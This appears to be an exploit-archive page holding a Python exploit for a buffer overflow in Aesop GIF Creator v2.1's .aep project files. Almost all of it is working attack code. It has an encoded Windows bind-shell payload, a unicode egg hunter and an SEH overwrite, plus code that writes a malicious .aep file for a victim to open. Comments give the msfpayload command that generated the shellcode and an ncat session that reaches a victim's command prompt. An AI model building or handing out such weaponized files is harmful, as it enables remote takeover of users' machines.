ExploitFixes
Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit 2010-12-16 10:15:43

# !/usr/bin/python
# Exploit Title: Aesop GIF Creator &lt;= v2.1 (.aep) Buffer Overflow Exploit
# Date: 12/15/2010
# Author: xsploitedsec
# URL: http://www.x-sploited.com/
# Contact: xsploitedsec [at] x-sploited.com
# Software Link: http://www.yukudr.com/_h84561/aesop_setup.exe
# Vulnerable version: &lt;= v2.1
# Tested on: Windows XP SP3 Eng
# CVE : N/A

#### Software Description:
# Aesop is a powerful tool that allows you to create animated GIF images (banners, buttons, labels and headings)
# for your website and even GIF wallpapers for your mobile phone quickly and easily (click to see samples). You
# can use an antialiased 3D-Text, shapes (rectangles, rounded rectangles, ellipses and polygons) and external
# pictures for drawing in your GIF.
# Convenient interface.
# Unicode support - you can use national characters as Text in your GIF.
# An excellent antialiasing technique (blurring the edges between color transitions) to draw 3D-Text and shapes:
#### Exploit information:
# Aesop is prone to a buffer overflow when handling a malicious aesop project files. The vulnerability
# is due to improper bounds checking of the &quot;Picture=&quot; field which can be exploited by malicious people to
# compromise a users system.
#### Other information:
# I attempted to reach out to the vendor about this but after a few short emails it became clear that they
# had no interest in verifying it/coordinating a fix so here's the exploit.
#### Notes:
# I always knew that one day I would end up needing to deal with unicode buffers. After a couple nights of
# tinkering around this is the end result. P.S. - When all else fails-&gt;Fail harder
#### Shoutz:
# kAoTiX, Sheep, Tu, edb-team, corelan team, packetstormsecurity and all other security researchers and sites.
# -&gt; A big thanks goes to corelanc0d3r for shedding some light on the subject of unicode exploits. ;)

import struct
import sys

about = &quot;\r\n==================================================================\n&quot;
about += &quot; Title: Aesop GIF Creator &lt;= v2.1 (.aep) Buffer Overflow Exploit PoC\n&quot;
about += &quot; Author: xsploitedsec\n URL: http://www.x-sploited.com/\n&quot;
about += &quot; Contact: xsploitedsecurity [at] x-sploited.com\n&quot;
about += &quot;==================================================================&quot;
print about

# [email protected]:~# msfpayload windows/shell_bind_tcp lport=4444 lhost=0.0.0.0 EXITFUNC=seh R
# | msfencode -e x86/alpha_upper -c 1 -t c -b '\x1a\x19\x0a' &gt; /tmp/aesop.txt
# [*] x86/alpha_upper succeeded with size 752 (iteration=1)
#
# [email protected]:~# ncat 10.0.1.16 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# C:\&gt;

# Unmolested, ASCII shellcode buried in stack ftw!?
bindshell = (
&quot;\xda\xca\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x43\x43\x43&quot;
&quot;\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41&quot;
&quot;\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42&quot;
&quot;\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50&quot;
&quot;\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30\x43&quot;
&quot;\x30\x43\x30\x43\x50\x4d\x59\x4d\x35\x50\x31\x4e\x32\x42\x44&quot;
&quot;\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x46\x32\x44\x4c\x4c\x4b\x50&quot;
&quot;\x52\x44\x54\x4c\x4b\x44\x32\x47\x58\x44\x4f\x48\x37\x50\x4a&quot;
&quot;\x47\x56\x50\x31\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x45&quot;
&quot;\x31\x43\x4c\x44\x42\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44\x4d&quot;
&quot;\x43\x31\x48\x47\x4d\x32\x4c\x30\x50\x52\x51\x47\x4c\x4b\x51&quot;
&quot;\x42\x42\x30\x4c\x4b\x47\x32\x47\x4c\x43\x31\x48\x50\x4c\x4b&quot;
&quot;\x47\x30\x44\x38\x4c\x45\x4f\x30\x43\x44\x50\x4a\x43\x31\x48&quot;
&quot;\x50\x46\x30\x4c\x4b\x51\x58\x44\x58\x4c\x4b\x51\x48\x51\x30&quot;
&quot;\x43\x31\x4e\x33\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x50\x34\x4c&quot;
&quot;\x4b\x45\x51\x4e\x36\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c&quot;
&quot;\x4f\x31\x48\x4f\x44\x4d\x43\x31\x48\x47\x50\x38\x4b\x50\x42&quot;
&quot;\x55\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51\x34&quot;
&quot;\x42\x55\x4a\x42\x50\x58\x4c\x4b\x46\x38\x51\x34\x45\x51\x48&quot;
&quot;\x53\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58\x45\x4c&quot;
&quot;\x43\x31\x4e\x33\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50\x4c&quot;
&quot;\x49\x47\x34\x46\x44\x47\x54\x51\x4b\x51\x4b\x45\x31\x46\x39&quot;
&quot;\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x51\x4a\x4c&quot;
&quot;\x4b\x42\x32\x4a\x4b\x4c\x46\x51\x4d\x43\x58\x47\x43\x46\x52&quot;
&quot;\x45\x50\x45\x50\x45\x38\x43\x47\x44\x33\x47\x42\x51\x4f\x51&quot;
&quot;\x44\x43\x58\x50\x4c\x42\x57\x46\x46\x43\x37\x4b\x4f\x49\x45&quot;
&quot;\x4f\x48\x4a\x30\x43\x31\x43\x30\x45\x50\x51\x39\x49\x54\x51&quot;
&quot;\x44\x46\x30\x43\x58\x51\x39\x4b\x30\x42\x4b\x43\x30\x4b\x4f&quot;
&quot;\x4e\x35\x46\x30\x46\x30\x50\x50\x50\x50\x47\x30\x50\x50\x51&quot;
&quot;\x50\x50\x50\x45\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f&quot;
&quot;\x4e\x35\x4b\x39\x48\x47\x46\x51\x49\x4b\x51\x43\x45\x38\x44&quot;
&quot;\x42\x45\x50\x42\x31\x51\x4c\x4b\x39\x4b\x56\x42\x4a\x44\x50&quot;
&quot;\x51\x46\x46\x37\x45\x38\x49\x52\x49\x4b\x50\x37\x45\x37\x4b&quot;
&quot;\x4f\x4e\x35\x46\x33\x51\x47\x43\x58\x48\x37\x4a\x49\x47\x48&quot;
&quot;\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46\x33\x46\x37\x42\x48\x43&quot;
&quot;\x44\x4a\x4c\x47\x4b\x4d\x31\x4b\x4f\x4e\x35\x50\x57\x4b\x39&quot;
&quot;\x49\x57\x42\x48\x44\x35\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49&quot;
&quot;\x45\x45\x38\x43\x53\x42\x4d\x45\x34\x43\x30\x4c\x49\x4b\x53&quot;
&quot;\x50\x57\x50\x57\x51\x47\x46\x51\x4a\x56\x43\x5a\x45\x42\x50&quot;
&quot;\x59\x50\x56\x4d\x32\x4b\x4d\x43\x56\x48\x47\x51\x54\x47\x54&quot;
&quot;\x47\x4c\x43\x31\x43\x31\x4c\x4d\x51\x54\x51\x34\x44\x50\x4f&quot;
&quot;\x36\x43\x30\x51\x54\x50\x54\x46\x30\x46\x36\x46\x36\x46\x36&quot;
&quot;\x51\x56\x50\x56\x50\x4e\x50\x56\x50\x56\x50\x53\x46\x36\x43&quot;
&quot;\x58\x44\x39\x48\x4c\x47\x4f\x4d\x56\x4b\x4f\x49\x45\x4c\x49&quot;
&quot;\x4d\x30\x50\x4e\x46\x36\x47\x36\x4b\x4f\x46\x50\x42\x48\x43&quot;
&quot;\x38\x4b\x37\x45\x4d\x43\x50\x4b\x4f\x48\x55\x4f\x4b\x4b\x4e&quot;
&quot;\x44\x4e\x46\x52\x4b\x5a\x43\x58\x4e\x46\x4c\x55\x4f\x4d\x4d&quot;
&quot;\x4d\x4b\x4f\x48\x55\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4b\x30&quot;
&quot;\x4b\x4b\x4d\x30\x43\x45\x43\x35\x4f\x4b\x47\x37\x45\x43\x43&quot;
&quot;\x42\x42\x4f\x42\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x45\x5a&quot;
&quot;\x41\x41&quot;
);

# unicode encoded, egg=&quot;w00t&quot;
egg_hunter = (
&quot;PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ&quot;
&quot;1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY&quot;
&quot;AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J&quot;
&quot;O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA&quot;
);

# aesop project file header
prj_header = (
&quot;\x5B\x41\x65\x73\x6F\x70\x20\x50\x72\x6F\x6A\x65\x63\x74\x20\x46\x69\x6C&quot;
&quot;\x65\x20\x76\x2E\x32\x2E\x30\x5D\x0D\x0A\x7B\x50\x69\x63\x74\x75\x72\x65&quot;
&quot;\x3D&quot;
);

#hunter tag =&quot;w00tw00t&quot;
egg = &quot;\x77\x30\x30\x74\x77\x30\x30\x74&quot;;
seh_offset = 669;

# Begin payload buffer
payload = &quot;\x41&quot; * seh_offset;
# NSEH
payload += &quot;\x61&quot;; #popad
payload += &quot;\x73&quot;; #nopalign/add byte ptr [ebx],dh
# SE handler
payload += &quot;\xB1\x42&quot;; #unicode compatible p/p/r - Aesop.exe (universal)
# Prepare/jump-&gt;EAX
payload += &quot;\x73&quot;; #venetian/add byte ptr [ebx],dh
payload += &quot;\x55&quot;; #push ebp
payload += &quot;\x73&quot;; #venetian/add byte ptr [ebx],dh
payload += &quot;\x58&quot;; #pop eax
payload += &quot;\x73&quot;; #venetian/add byte ptr [ebx],dh
payload += &quot;\x05\x19\x11&quot;; #add eax, 0x19002200h
payload += &quot;\x73&quot;; #venetian/add byte ptr [ebx],dh
payload += &quot;\x2d\x11\x11&quot;; #sub eax, 0x12007200h
payload += &quot;\x73&quot;; #venetian/add byte ptr [ebx],dh
payload += &quot;\x50&quot;; #push eax
payload += &quot;\x73&quot;; #add byte ptr [ebx],dh
payload += &quot;\xc3&quot;; #ret

payload += &quot;\x41&quot; * 242; #align egghunter with-&gt;(ebp+650)
payload += egg_hunter;
payload += &quot;\x41&quot; * 1000; #give shellcode some breathing room

payload += egg;
payload += bindshell;

payload += &quot;\x44&quot; * (5000-len(payload)); #junk padding
# End payload buffer

xsploitme = (prj_header + payload);
print(&quot;\n[*] Creating file-&gt;xsploited.aep&quot;);

try:
out_file = open(&quot;xsploited.aep&quot;,'w');
out_file.write(xsploitme);
out_file.close();
print(&quot;[+] xsploited.aep created successfully&quot;);
print(&quot;[*] 1. Launch the file or open it via Aesop.exe&quot;);
print(&quot;[*] 2. Wait a sec for egghunter and netcat in :)\n[-] Exiting...\r&quot;);
except (IOError):
print(&quot;[!] Error creating file\n[-] Exiting...\r&quot;);